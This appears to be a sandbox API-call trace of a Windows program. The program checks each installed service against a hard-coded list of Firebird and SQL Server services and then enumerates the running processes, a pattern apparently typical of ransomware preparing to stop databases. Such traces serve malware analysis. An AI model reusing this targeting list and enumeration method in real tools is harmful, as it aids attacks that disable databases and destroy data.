	[0190.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0190.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0190.168] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0190.169] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0190.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0190.169] lstrlenW (lpString="EventLog") returned 8
	[0190.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0190.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0190.169] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0190.169] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0190.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0190.169] lstrlenW (lpString="EventSystem") returned 11
	[0190.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0190.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0190.169] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0190.169] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0190.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0190.169] lstrlenW (lpString="FontCache") returned 9
	[0190.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0190.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0190.169] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0190.169] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0190.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0190.169] lstrlenW (lpString="gpsvc") returned 5
	[0190.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0190.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0190.169] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0190.169] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0190.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0190.169] lstrlenW (lpString="iphlpsvc") returned 8
	[0190.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0190.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0190.169] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0190.170] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0190.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0190.170] lstrlenW (lpString="KeyIso") returned 6
	[0190.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0190.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0190.170] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0190.170] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0190.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0190.170] lstrlenW (lpString="LanmanServer") returned 12
	[0190.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0190.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0190.170] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0190.170] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0190.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0190.170] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0190.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0190.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0190.170] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0190.170] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0190.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0190.170] lstrlenW (lpString="lfsvc") returned 5
	[0190.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0190.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0190.170] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0190.170] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0190.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0190.170] lstrlenW (lpString="lmhosts") returned 7
	[0190.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0190.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0190.171] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0190.171] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0190.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0190.171] lstrlenW (lpString="LSM") returned 3
	[0190.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0190.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0190.171] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0190.256] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0190.260] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0190.260] lstrlenW (lpString="MpsSvc") returned 6
	[0190.260] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0190.271] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0190.271] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0190.271] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0190.271] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0190.277] lstrlenW (lpString="NcbService") returned 10
	[0190.277] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0190.295] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0190.295] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0190.295] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0190.296] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0190.296] lstrlenW (lpString="netprofm") returned 8
	[0190.296] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0190.296] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0190.296] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0190.296] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0190.296] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0190.296] lstrlenW (lpString="NgcSvc") returned 6
	[0190.296] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0190.296] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0190.296] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0190.296] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0190.296] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0190.296] lstrlenW (lpString="NlaSvc") returned 6
	[0190.296] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0190.296] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0190.296] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0190.296] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0190.296] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0190.296] lstrlenW (lpString="nsi") returned 3
	[0190.296] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0190.296] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0190.296] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0190.296] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0190.297] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0190.297] lstrlenW (lpString="PcaSvc") returned 6
	[0190.297] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0190.297] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0190.297] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0190.297] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0190.297] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0190.297] lstrlenW (lpString="PlugPlay") returned 8
	[0190.297] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0190.297] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0190.297] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0190.297] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0190.297] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0190.297] lstrlenW (lpString="Power") returned 5
	[0190.297] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0190.297] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0190.297] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0190.297] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0190.297] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0190.297] lstrlenW (lpString="ProfSvc") returned 7
	[0190.297] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0190.297] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0190.297] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0190.297] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0190.297] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0190.297] lstrlenW (lpString="RpcEptMapper") returned 12
	[0190.297] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0190.297] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0190.297] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0190.297] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0190.298] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0190.298] lstrlenW (lpString="RpcSs") returned 5
	[0190.298] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0190.298] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0190.298] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0190.298] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0190.298] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0190.298] lstrlenW (lpString="SamSs") returned 5
	[0190.298] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0190.298] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0190.298] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0190.298] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0190.298] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0190.298] lstrlenW (lpString="Schedule") returned 8
	[0190.298] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0190.298] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0190.298] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0190.298] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0190.298] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0190.298] lstrlenW (lpString="SecurityHealthService") returned 21
	[0190.298] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0190.298] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0190.298] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0190.298] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0190.298] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0190.299] lstrlenW (lpString="SENS") returned 4
	[0190.299] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0190.299] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0190.299] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0190.299] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0190.299] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0190.299] lstrlenW (lpString="ShellHWDetection") returned 16
	[0190.299] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0190.299] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0190.299] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0190.299] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0190.299] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0190.299] lstrlenW (lpString="Spooler") returned 7
	[0190.299] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0190.299] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0190.299] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0190.299] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0190.299] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0190.299] lstrlenW (lpString="StateRepository") returned 15
	[0190.299] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0190.299] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0190.299] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0190.299] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0190.299] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0190.299] lstrlenW (lpString="SysMain") returned 7
	[0190.299] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0190.299] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0190.299] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0190.300] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0190.300] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0190.300] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0190.300] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0190.300] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0190.300] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0190.300] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0190.300] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0190.300] lstrlenW (lpString="Themes") returned 6
	[0190.300] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0190.300] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0190.300] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0190.300] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0190.300] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x5e0
	[0190.308] Process32FirstW (in: hSnapshot=0x5e0, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0190.309] Process32NextW (in: hSnapshot=0x5e0, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0190.309] lstrlenW (lpString="System") returned 6
	[0190.310] Process32NextW (in: hSnapshot=0x5e0, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0190.310] lstrlenW (lpString="smss.exe") returned 8
	[0190.310] Process32NextW (in: hSnapshot=0x5e0, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0190.311] lstrlenW (lpString="csrss.exe") returned 9
	[0190.311] Process32NextW (in: hSnapshot=0x5e0, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0190.320] lstrlenW (lpString="wininit.exe") returned 11
	[0190.321] Process32NextW (in: hSnapshot=0x5e0, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0190.322] lstrlenW (lpString="csrss.exe") returned 9
	[0190.322] Process32NextW (in: hSnapshot=0x5e0, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0190.322] lstrlenW (lpString="winlogon.exe") returned 12
	[0190.323] Process32NextW (in: hSnapshot=0x5e0, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0190.323] lstrlenW (lpString="services.exe") returned 12
	[0190.323] Process32NextW (in: hSnapshot=0x5e0, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0190.324] lstrlenW (lpString="lsass.exe") returned 9
	[0190.324] Process32NextW (in: hSnapshot=0x5e0, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0190.324] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0190.324] Process32NextW (in: hSnapshot=0x5e0, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0190.325] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0190.325] Process32NextW (in: hSnapshot=0x5e0, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0190.325] lstrlenW (lpString="svchost.exe") returned 11
	[0190.326] Process32NextW (in: hSnapshot=0x5e0, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0190.326] lstrlenW (lpString="svchost.exe") returned 11
	[0190.326] Process32NextW (in: hSnapshot=0x5e0, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0190.327] lstrlenW (lpString="dwm.exe") returned 7
	[0190.327] Process32NextW (in: hSnapshot=0x5e0, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0190.327] lstrlenW (lpString="svchost.exe") returned 11
	[0190.327] Process32NextW (in: hSnapshot=0x5e0, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0190.328] lstrlenW (lpString="svchost.exe") returned 11
	[0190.328] Process32NextW (in: hSnapshot=0x5e0, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0190.328] lstrlenW (lpString="svchost.exe") returned 11
	[0190.329] Process32NextW (in: hSnapshot=0x5e0, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0190.329] lstrlenW (lpString="svchost.exe") returned 11
	[0190.329] Process32NextW (in: hSnapshot=0x5e0, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0190.330] lstrlenW (lpString="svchost.exe") returned 11
	[0190.330] Process32NextW (in: hSnapshot=0x5e0, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x430, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0190.330] lstrlenW (lpString="svchost.exe") returned 11
	[0190.331] Process32NextW (in: hSnapshot=0x5e0, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0190.331] lstrlenW (lpString="svchost.exe") returned 11
	[0190.331] Process32NextW (in: hSnapshot=0x5e0, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0190.332] lstrlenW (lpString="svchost.exe") returned 11
	[0190.332] Process32NextW (in: hSnapshot=0x5e0, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0190.332] lstrlenW (lpString="svchost.exe") returned 11
	[0190.332] Process32NextW (in: hSnapshot=0x5e0, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0190.333] lstrlenW (lpString="svchost.exe") returned 11
	[0190.333] Process32NextW (in: hSnapshot=0x5e0, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0190.334] lstrlenW (lpString="spoolsv.exe") returned 11
	[0190.334] Process32NextW (in: hSnapshot=0x5e0, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0190.334] lstrlenW (lpString="svchost.exe") returned 11
	[0190.334] Process32NextW (in: hSnapshot=0x5e0, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x56c, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0190.335] lstrlenW (lpString="audiodg.exe") returned 11
